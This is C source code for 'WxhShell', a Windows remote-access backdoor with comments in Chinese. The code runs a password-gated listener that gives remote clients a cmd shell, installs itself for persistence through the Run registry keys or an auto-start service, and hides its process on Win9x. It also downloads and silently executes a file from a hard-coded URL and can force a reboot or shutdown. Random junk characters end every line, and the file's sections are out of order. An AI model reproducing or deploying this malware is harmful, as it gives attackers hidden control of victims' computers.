    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bq;GO  
    else { 3-=AmRxW't  
    closesocket(wsh);  ZC%;5O`  
    ExitThread(0); o!ZG@k?#  
    } PqIskv+  
    break; A/"<o5(T(P  
    } Y_}_)nE@m  
  // 获取shell aX~Jk >a0  
  case 's': { FWB *=.A9  
    CmdShell(wsh); k*u6'IKi.4  
    closesocket(wsh); ~F53{qxV  
    ExitThread(0); Qqi?DW1)-  
    break; Z4X, D`s  
  } QI'-I\Co  
  // 退出 NiFe#SLA  
  case 'x': { h56Kmxxk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aZ|?i }  
    CloseIt(wsh); em95ccs'-  
    break; =W;e9 6#  
    } ubZJUm  
  // 离开 bEB2q\|Je  
  case 'q': { 3~Lsa"/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c5|sda{  
    closesocket(wsh); vsyg u  
    WSACleanup(); n=PfV3B  
    exit(1); q`'"+`h  
    break; t`'jr=e,~  
        } LXWI'nxV  
  } qco uZO  
  } %Oo f/q  
D)bL;h  
  // 提示信息 xFekSH7[F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (c&%1bJ  
} )Fp$ *]|  
  } S8B?uU  
ZqdoYU'  
  return; nbB*d@"  
} ,  O/IY  
: 5['V#(o  
// shell模块句柄 u;]xAr1  
int CmdShell(SOCKET sock) `a:3S@n(}  
{ ]=%6n@z'  
STARTUPINFO si; Fw*O ciC  
ZeroMemory(&si,sizeof(si)); 2y \ogF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UM#.`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {NQCe0S+p  
PROCESS_INFORMATION ProcessInfo; Mvue>)g~>  
char cmdline[]="cmd"; @e&0Wk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }zS5o [OE  
  return 0; ,v 2^Ui  
} %.D!J",\/K  
/D1Lh_,2  
// 自身启动模式  sa&`CEa  
int StartFromService(void) O_ZYm{T[7  
{ : 8j7}'  
typedef struct !Vg=l[  
{ 3z, Ci$[  
  DWORD ExitStatus; $qr6LIKGw  
  DWORD PebBaseAddress; \EU^`o+  
  DWORD AffinityMask; \@yJbhk  
  DWORD BasePriority; {;E6jw@  
  ULONG UniqueProcessId; A^p{Cq@E  
  ULONG InheritedFromUniqueProcessId; #Q)r6V:  
}   PROCESS_BASIC_INFORMATION; |:&O!36  
y.I&x#(^  
PROCNTQSIP NtQueryInformationProcess; f1v4h[)-  
V@T(%6<|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v-SX PL]_^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f>$RR_  
fN&uat7  
  HANDLE             hProcess; ~b m'i%$k  
  PROCESS_BASIC_INFORMATION pbi; TTFs|T6`q  
;gZ/i93:Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GB^`A  
  if(NULL == hInst ) return 0; VH~YwO!x  
:F@Uq<~(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "&/2 @  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YvcV801Go  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4xq|  
\y:48zd  
  if (!NtQueryInformationProcess) return 0; "oNl!<ep  
UKZ )Boo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Vs{\ YfF  
  if(!hProcess) return 0; s3nO"~tM  
;Vc|3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; In?#?:Q@&  
pqb`g@  
  CloseHandle(hProcess); QRK\74'uY  
oQ,<Yx%E3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v*qbzW`  
if(hProcess==NULL) return 0; -aVC`  
ZZZ9C#hK^9  
HMODULE hMod; 7n.Oem  
char procName[255]; !`RMXUV  
unsigned long cbNeeded; NN=^4Xpc:  
7(X z%v   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GF8wKx#J  
__Ksn^I   
  CloseHandle(hProcess); Hnk&2bY  
aA52Li  
if(strstr(procName,"services")) return 1; // 以服务启动 P_NF;v5 v  
T}=^D=  
  return 0; // 注册表启动 OqDP{X:  
} A9 g%>  
k_,& Q?GtU  
// 主模块 Fz,jnV9=j  
int StartWxhshell(LPSTR lpCmdLine) 5\XD/Q M  
{  >(ip-R  
  SOCKET wsl; ^d{5GK'  
BOOL val=TRUE; -,b+tC<V)0  
  int port=0; =#[oi3k  
  struct sockaddr_in door; P "IR3=  
V`#2jDz  
  if(wscfg.ws_autoins) Install(); q)Nw$dW<  
b^C27s  
port=atoi(lpCmdLine); Ze8.+Ee  
x51R:x(p  
if(port<=0) port=wscfg.ws_port; oPr`SYB  
1w(3!Ps+  
  WSADATA data; j|wN7@Zc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [8IO0lul+  
9QLG:(~;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d[p2? ]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <>9!oOa  
  door.sin_family = AF_INET; 1u7D:h>#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); OVDuF&0  
  door.sin_port = htons(port); oV0 45G  
&=jPt%7#M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6Q [  
closesocket(wsl); } v:YSG  
return 1; Zs=A<[  
} NT.#U?9c  
e }?.3,?  
  if(listen(wsl,2) == INVALID_SOCKET) { iaEQF]*cC  
closesocket(wsl); 7]zZdqG&p`  
return 1; mu@J$\   
} O_a^|ln&  
  Wxhshell(wsl); ~[t#$2d}  
  WSACleanup(); `qs}L  
]&]DF Y~n  
return 0; gh ?[x.U  
o4WQA"VxM  
} aMhVO(+FW  
k%cE8c}R;A  
// 以NT服务方式启动 q0VAkVHw4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s$hO/INr  
{ v { >3)$1  
DWORD   status = 0; JOY&YA$U  
  DWORD   specificError = 0xfffffff; U?:P7YWy  
Oa~ThbX7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *}lLV.+A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,GYQ,9:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  )^{}ov  
  serviceStatus.dwWin32ExitCode     = 0; G]f|?  
  serviceStatus.dwServiceSpecificExitCode = 0; 8CZfz!2  
  serviceStatus.dwCheckPoint       = 0; O;<wD h)Yt  
  serviceStatus.dwWaitHint       = 0; M['O`^  
77O$^fG2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [m0X kvd  
  if (hServiceStatusHandle==0) return; 3< ?+Yhq  
>bf.T7wy  
status = GetLastError(); mW%8`$rVEO  
  if (status!=NO_ERROR) F6[F~^9D  
{ uW!XzX['  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; MmjZq  
    serviceStatus.dwCheckPoint       = 0; lxL.ztL  
    serviceStatus.dwWaitHint       = 0; ^%9oeT{  
    serviceStatus.dwWin32ExitCode     = status; /Rq\Mgb  
    serviceStatus.dwServiceSpecificExitCode = specificError; "x=\mA#`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fF0i^E<  
    return; T3z ovnR  
  } ]5f;Kz)  
{V QGfN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f_S$CFa@  
  serviceStatus.dwCheckPoint       = 0; 6Bjo9,L  
  serviceStatus.dwWaitHint       = 0; }OAU5P!rp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hbx4[Pf  
} Cj8&wz}ez  
`w:kY9  
// 处理NT服务事件,比如:启动、停止 9hIKx:XCg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ldz]FB|  
{ WDIin6u-  
switch(fdwControl) 2 3PRb<q  
{ 05FGfnq.8  
case SERVICE_CONTROL_STOP: S"h;u=5it  
  serviceStatus.dwWin32ExitCode = 0; r$={_M$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JFm@jc  
  serviceStatus.dwCheckPoint   = 0; c}qpmWF  
  serviceStatus.dwWaitHint     = 0; ZDFq=)0C  
  { CXuD%H]tx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yn ~fnI{  
  } c{/R?<  
  return; Z2$_9.  
case SERVICE_CONTROL_PAUSE: `;6M|5G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?CQE6ch  
  break; _ f%s]  
case SERVICE_CONTROL_CONTINUE: /@ @F nQ++  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bu _ @>`S  
  break; E #,"C`&*  
case SERVICE_CONTROL_INTERROGATE: s0?'mC+p  
  break; Qt+D ,X  
}; p<r<Y %  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C{J5:ak  
} LBy`N_@  
Qjj }k)  
// 标准应用程序主函数 a|u#w~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7@;*e=v  
{ 3k)xzv%r`  
A?lL K&*  
// 获取操作系统版本 fg)*TR  
OsIsNt=GetOsVer(); |:R\j0t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I+& T}R  
;\0|1Eem`  
  // 从命令行安装 lz0-5z+\  
  if(strpbrk(lpCmdLine,"iI")) Install(); , lR(5ZI  
]jhi"BM  
  // 下载执行文件 I3nE]OcW@  
if(wscfg.ws_downexe) { hH1Q:}a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _s^tL2Pc  
  WinExec(wscfg.ws_filenam,SW_HIDE); h.vy SwF"j  
} uy<3B>3~.  
utZI'5i  
if(!OsIsNt) { MT>sRx #  
// 如果时win9x,隐藏进程并且设置为注册表启动 3HrG^/  
HideProc(); 7p.8{zQ*  
StartWxhshell(lpCmdLine); }U_^zQfaj  
} 7#E/Q~]'6  
else Z {^!z  
  if(StartFromService()) s9wzN6re  
  // 以服务方式启动 -t4:%-wv  
  StartServiceCtrlDispatcher(DispatchTable); MF"*xr v  
else S5hc@^|0Z  
  // 普通方式启动 arm_SyL0  
  StartWxhshell(lpCmdLine); K]m#~J3d>  
s=jmvvs_V}  
return 0; zq</(5H  
} ]"T157F  
fYP,V0P  
fF0K].  
Dr.eos4 ~  
=========================================== oT{9P?K8  
\7LL neq  
eV?%3h.   
~RbVcB#  
{ }/  
#-B<u-  
" %6cr4}Zm}  
`C>h]H(  
#include <stdio.h> pqO3(2F9  
#include <string.h> bDvGFSAH  
#include <windows.h> j>JBZ#g  
#include <winsock2.h> d8: $ll  
#include <winsvc.h> }6[jJ`=gOx  
#include <urlmon.h> _|C3\x1c  
h/\v+xiF  
#pragma comment (lib, "Ws2_32.lib") y05!-G:Y\  
#pragma comment (lib, "urlmon.lib") %_Vz0 D! 7  
HAO-|=c4  
#define MAX_USER   100 // 最大客户端连接数 (>0`e8v!  
#define BUF_SOCK   200 // sock buffer KcV"<9rE  
#define KEY_BUFF   255 // 输入 buffer z#Jw?K_  
l5w^rj  
#define REBOOT     0   // 重启 tQzbYzGb7  
#define SHUTDOWN   1   // 关机 @M\JzV4 A[  
C,W@C  
#define DEF_PORT   5000 // 监听端口 c:K/0zY  
zdJPMNHg  
#define REG_LEN     16   // 注册表键长度 Nt8"6k_  
#define SVC_LEN     80   // NT服务名长度 X]}ai5  
I '0[  
// 从dll定义API *x8~}/[T(F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZiR}S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G%~V b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |gA@$1+}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .'M.yE~5J  
my sXgS&S  
// wxhshell配置信息 8x1!15Wiz  
struct WSCFG { &pI\VIx ?  
  int ws_port;         // 监听端口 9mvy+XD  
  char ws_passstr[REG_LEN]; // 口令 jW#dUKS(  
  int ws_autoins;       // 安装标记, 1=yes 0=no i%133in  
  char ws_regname[REG_LEN]; // 注册表键名 L?u {vX  
  char ws_svcname[REG_LEN]; // 服务名 M %zf?>])  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +iN!$zF5]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x}a?B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )b nGZ8h99  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \Nik`v*Pd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eM$a~4!d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %. ((4 6)  
E~q3o*  
}; jF6Q:`k  
AT t.}-  
// default Wxhshell configuration Z%o.kd"  
struct WSCFG wscfg={DEF_PORT, 6'*6tS  
    "xuhuanlingzhe", [5xm>Y&}  
    1, Lb$Uba-_  
    "Wxhshell", O8hx}dOjA  
    "Wxhshell", 60~*$`  
            "WxhShell Service", /TbJCZ  
    "Wrsky Windows CmdShell Service", bzpi7LKN  
    "Please Input Your Password: ", $]?pAqU\  
  1, *><j(uz!  
  "http://www.wrsky.com/wxhshell.exe", '*Y mYU  
  "Wxhshell.exe" |8}y?kAC  
    }; BpA7 z/  
KD#zsL)3  
// 消息定义模块 D`n<!"xg@$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d3EN0e+^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oa+'.b~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ui8$F "I*  
char *msg_ws_ext="\n\rExit."; ;Uch  
char *msg_ws_end="\n\rQuit."; vH6(p(l  
char *msg_ws_boot="\n\rReboot..."; >7a ENKOg:  
char *msg_ws_poff="\n\rShutdown..."; fPN/Mxu  
char *msg_ws_down="\n\rSave to "; r|Uz?  
G{.=27  
char *msg_ws_err="\n\rErr!"; 7oLlRU  
char *msg_ws_ok="\n\rOK!"; <2j$P Y9  
5Qg*j/z?  
char ExeFile[MAX_PATH]; 8u[.s`^  
int nUser = 0; b7xOm"X,N  
HANDLE handles[MAX_USER]; >*/ |t L  
int OsIsNt; f(}&8~&  
s7E %Et  
SERVICE_STATUS       serviceStatus; si%V63^lN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  `&a8Wv  
aU +uPP  
// 函数声明 m?Jnb\0  
int Install(void); =WCE "X  
int Uninstall(void); z1RHdu0;z  
int DownloadFile(char *sURL, SOCKET wsh); L9hL@  
int Boot(int flag); _j$V[=kdM/  
void HideProc(void); X%!?\3S  
int GetOsVer(void); sk5=$My  
int Wxhshell(SOCKET wsl); OvdBUcp[  
void TalkWithClient(void *cs); 3mE8tTA$R  
int CmdShell(SOCKET sock); s!09cS  
int StartFromService(void); ,EH-Sf2Cb  
int StartWxhshell(LPSTR lpCmdLine); Mf"(P.GIS  
=S^vIo)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MAqETjB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1jSmTI d  
x6T$HN/2  
// 数据结构和表定义 Y edF%  
SERVICE_TABLE_ENTRY DispatchTable[] = LfnQcI$kO  
{ !N:w?zsp  
{wscfg.ws_svcname, NTServiceMain}, %LdBO1D0  
{NULL, NULL} VKXB)-'L  
}; " d~M \Az  
 r+]a  
// 自我安装 Qc9[/4R>  
int Install(void) mV7_O//  
{ |[V6R\l39  
  char svExeFile[MAX_PATH]; ieEt C,U  
  HKEY key; ENYc.$ r  
  strcpy(svExeFile,ExeFile); w0>5#j q#r  
f:t5`c.  
// 如果是win9x系统,修改注册表设为自启动 ,+Ya'4x  
if(!OsIsNt) { 99zMdo S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H6#SP~V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O>wGJ.  
  RegCloseKey(key); 5*"WS $  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ) \cnz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }sZy|dd  
  RegCloseKey(key); bnp:J|(ld  
  return 0; C`oB [  
    } }D~m%%,  
  } &@&^k$du8q  
} u7wZPIC{_  
else { } F*=+n  
IxlPpS9Wx  
// 如果是NT以上系统,安装为系统服务 huin?,eGz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2JHF*zvO-  
if (schSCManager!=0) Y^?PHz'Go  
{ o5z&sRZ  
  SC_HANDLE schService = CreateService v<} $d.&*  
  ( &M\qVL%w  
  schSCManager, Wu?[1L:x  
  wscfg.ws_svcname, h=cA]^:=  
  wscfg.ws_svcdisp, a'G[ !"  
  SERVICE_ALL_ACCESS, K8iQ?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d/?0xLW  
  SERVICE_AUTO_START, xUs1-O1i  
  SERVICE_ERROR_NORMAL, RCGpZyl  
  svExeFile, j]9,yi  
  NULL, Bm^8"SSN  
  NULL, P_N},Xry  
  NULL, \cAifU  
  NULL, 1rmN)  
  NULL #4sSt-s&  
  ); ^[ >  
  if (schService!=0) >F!X'#Iv  
  { ~;uW) [  
  CloseServiceHandle(schService); $)O\i^T  
  CloseServiceHandle(schSCManager); XOY\NMo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m`3gNox  
  strcat(svExeFile,wscfg.ws_svcname); VS<w:{*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QRY7ck:N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `MMZR=LA  
  RegCloseKey(key); <daBP[  
  return 0; sr.!EQ]  
    } wMiRN2\^  
  } zL:k(7E  
  CloseServiceHandle(schSCManager); %t-}dC&  
} ]O M?e  
} 8g 2'[ci$q  
E+aE5wmr  
return 1; Luh*+l-nO  
} y=WCR*N  
p["20 ?^  
// 自我卸载 7!, p,|K  
int Uninstall(void) $5yH8JU  
{ D|5Fo'O^AV  
  HKEY key; r%oXO]X  
M#]URS2h<O  
if(!OsIsNt) { [%7oq;^J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ) ]]PhGX~  
  RegDeleteValue(key,wscfg.ws_regname); ~M J3-<I  
  RegCloseKey(key); x@"`KiEUs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !% yd'"6Dl  
  RegDeleteValue(key,wscfg.ws_regname); .*w3ryQ  
  RegCloseKey(key); Zv1/J}+  
  return 0; E@ !~q  
  } ;ZLfb n3\  
} Js8d{\0\  
} T ;JA.=I  
else { ,Z]4`9c  
:j!N7c{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +QFY. >KH  
if (schSCManager!=0) T_?,?  
{ ;!N_8{ 7r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q"^T}d d,  
  if (schService!=0) V}"w8i+D?  
  { >!2d77I  
  if(DeleteService(schService)!=0) { N u9+b"Wr  
  CloseServiceHandle(schService); fyt`$y_E[  
  CloseServiceHandle(schSCManager); N]@e7P'9F  
  return 0; 'WQ<|(:{  
  } |-k~Fa  
  CloseServiceHandle(schService); EPwM+#|e-  
  } s av  
  CloseServiceHandle(schSCManager); aruT eJF  
} 0--0+?  
} FZhjI 8+,~  
!_UBw7Zm  
return 1; f<~S0[H  
} }>u<,  
5U&?P   
// 从指定url下载文件 &8wluOs/5  
int DownloadFile(char *sURL, SOCKET wsh) 3sq(FsT  
{ *6%r2l'kZ  
  HRESULT hr; '@+a]kCMev  
char seps[]= "/"; d#G H4+C  
char *token; o8lwwM*  
char *file; 0xg6  
char myURL[MAX_PATH]; e!~x-P5M`  
char myFILE[MAX_PATH]; }fKpih  
27KfT] =  
strcpy(myURL,sURL); T8rf+B/.L  
  token=strtok(myURL,seps); g{06d~Y  
  while(token!=NULL) cH%#qE3  
  { 0FD+iID  
    file=token; WKPuIE:  
  token=strtok(NULL,seps); c 7uryL  
  } /_*L8b  
kUG3_ *1 .  
GetCurrentDirectory(MAX_PATH,myFILE); .!hB tR  
strcat(myFILE, "\\"); /?P="j#u  
strcat(myFILE, file); YV0K&d  
  send(wsh,myFILE,strlen(myFILE),0); pI|H9  
send(wsh,"...",3,0); BWN[>H %S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S7 Tem:/  
  if(hr==S_OK) 2r=A'  
return 0; FO5'<G-  
else !EQMTF=(  
return 1; v(tr:[V  
h .$3 jNU  
} 7&z`N^dz{  
"ewB4F[  
// 系统电源模块 q9&d24|  
int Boot(int flag) ^g56:j~?  
{ M%8:  
  HANDLE hToken; h0fbc;l  
  TOKEN_PRIVILEGES tkp; GM<r{6Qy  
&<sN( ;%0R  
  if(OsIsNt) { _=eeZ4f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G}b LWA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J<{@D9r9<~  
    tkp.PrivilegeCount = 1; M _z-~G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `o~9a N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m mj6YQ0a  
if(flag==REBOOT) { ES#K'Lf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IuQY~!  
  return 0; SrVJ Q~ :>  
} `<L6Q2Y>j  
else { e/<Og\}P/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~^Y(f'{  
  return 0; U\A*${  
} -IB~lw  
  } Rg6e7JVu  
  else { 'nM)=  
if(flag==REBOOT) { M/,jHG8v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 85fBKpEe  
  return 0; z;_d?S <*m  
} 0#mu[O  
else { &\0`\#R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _YH)E^If  
  return 0; P:")Qb2  
} {AY `\G  
} e>kw>%3bl9  
E30VKh |  
return 1; J !:ss  
} Iz#h:O  
J8x>vC  
// win9x进程隐藏模块 r$*p  
void HideProc(void) %HJ_0qg  
{ N*Owfr1 N  
WJ+<&6W8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EK^ld!g(  
  if ( hKernel != NULL ) N(]>(S o  
  { m*BtD-{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B%L0g.D"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *}\!&Zk"  
    FreeLibrary(hKernel); [lsr[`SJ<  
  } q lL6wzq,  
TY,w3E_  
return; ,!f*OWnZ  
} shlL(&Py  
.jh uC#x{/  
// 获取操作系统版本 #GYCU!  
int GetOsVer(void) r)dT,X[}F  
{ $zTjh~ 9  
  OSVERSIONINFO winfo; dOFxzk,g&R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H5Rn.n(|  
  GetVersionEx(&winfo); i>S /W!F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~mtL\!vaM  
  return 1; ipEsR/O  
  else Ywf.,V  
  return 0; |/g\N, ]  
} Zjt3U;Y  
DiAPs_@  
// 客户端句柄模块 pbivddi2  
int Wxhshell(SOCKET wsl) EY(@R2~#J  
{ 9 z,?DBMvc  
  SOCKET wsh; <dzE5]%\  
  struct sockaddr_in client; C,w$)x5kls  
  DWORD myID; \)ac,i@fy  
?EeHeN_  
  while(nUser<MAX_USER) n2R{$^JxO  
{ }Y5Sf"~M  
  int nSize=sizeof(client); gU Cv#:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,c6ID|\  
  if(wsh==INVALID_SOCKET) return 1; oSt-w{ !  
P'Jw:)k(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r}P{opn$t  
if(handles[nUser]==0) f;6a4<bz  
  closesocket(wsh); J%3%l5 /  
else Z^AACKME  
  nUser++; ">kf X1LT  
  } X;T(?,,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :JqH.Sqk  
,|b<as@X  
  return 0; ~?dPF;.6_  
} aU2O5z&  
{vAq08  
// 关闭 socket a Kb2:1EQ  
void CloseIt(SOCKET wsh) "j9,3yJT  
{ JLRw`V,o7  
closesocket(wsh); NrTQ}_3)  
nUser--; :?{ **&=  
ExitThread(0); VuFH >8n  
} e.i5j^5u  
UR?[ba_h   
// 客户端请求句柄 iwL\Ha  
void TalkWithClient(void *cs) 8@qYzSx[  
{ 8J%^gy>m]  
;t@zH+*}  
  SOCKET wsh=(SOCKET)cs; r}9qK%C G.  
  char pwd[SVC_LEN]; `jJ5us  
  char cmd[KEY_BUFF]; ~;|  
char chr[1]; GLL,  
int i,j; $CO^dFf  
U\y];\~H  
  while (nUser < MAX_USER) { [[?:,6I  
RNiZ2:  
if(wscfg.ws_passstr) { cp2e,%o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zHr1FxD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lx~!FLn  
  //ZeroMemory(pwd,KEY_BUFF); Ud:v3"1  
      i=0; 2<y E3:VX  
  while(i<SVC_LEN) { C]-Z+9Vvv  
OUe@U;l{Z  
  // 设置超时 Rw*l#cr=.  
  fd_set FdRead; &D uvy#J  
  struct timeval TimeOut; IyYC).wU}  
  FD_ZERO(&FdRead); T<DQi  
  FD_SET(wsh,&FdRead); by& #g  
  TimeOut.tv_sec=8; CO1D.5  
  TimeOut.tv_usec=0; 1A">tgA1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @Wy>4B^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o8RagSIo8  
'>Y"s|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vj^vzFbK  
  pwd=chr[0]; ;&P%A<[`  
  if(chr[0]==0xd || chr[0]==0xa) { JMw1qPJQ  
  pwd=0; I1 j-Q8  
  break; R\MM2_I  
  } N/Z3 EF_  
  i++; (D{Fln\  
    } J(h=@cw  
9~<HTH  
  // 如果是非法用户,关闭 socket d> `9!)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (H<S&5[  
} sn/^#Aa=N  
_{KQQ5k\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v'S}&zmF]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >tqLwC."'  
Tv3Bej  
while(1) { F>)u<f,C  
93[c^sc9*a  
  ZeroMemory(cmd,KEY_BUFF); b-@VR  
?Il$f_"B:  
      // 自动支持客户端 telnet标准   ]6p?mBuQ  
  j=0; kp[+Iun?  
  while(j<KEY_BUFF) { I2q C,Nkk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qn6Y(@<[  
  cmd[j]=chr[0]; f$NudG!S  
  if(chr[0]==0xa || chr[0]==0xd) { [(5;jUmF@  
  cmd[j]=0; Ytc  
  break; D&/(Avx.  
  } vN-#Ej. u  
  j++; Zk)]=<H  
    } M SoLx' <  
I7nt<l!  
  // 下载文件 $&='&q  
  if(strstr(cmd,"http://")) { S>aN#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ioIUIp+B~u  
  if(DownloadFile(cmd,wsh)) Z'>Xn^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WsTbqR)W%  
  else qXkc~{W_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H jbC>*  
  } =E8lpN'  
  else { A}FEM[2  
^* ^te+N  
    switch(cmd[0]) { {%'(IJ|5z  
  ]YQlCx`  
  // 帮助 +eZR._&0  
  case '?': { tEf_XBjKV  
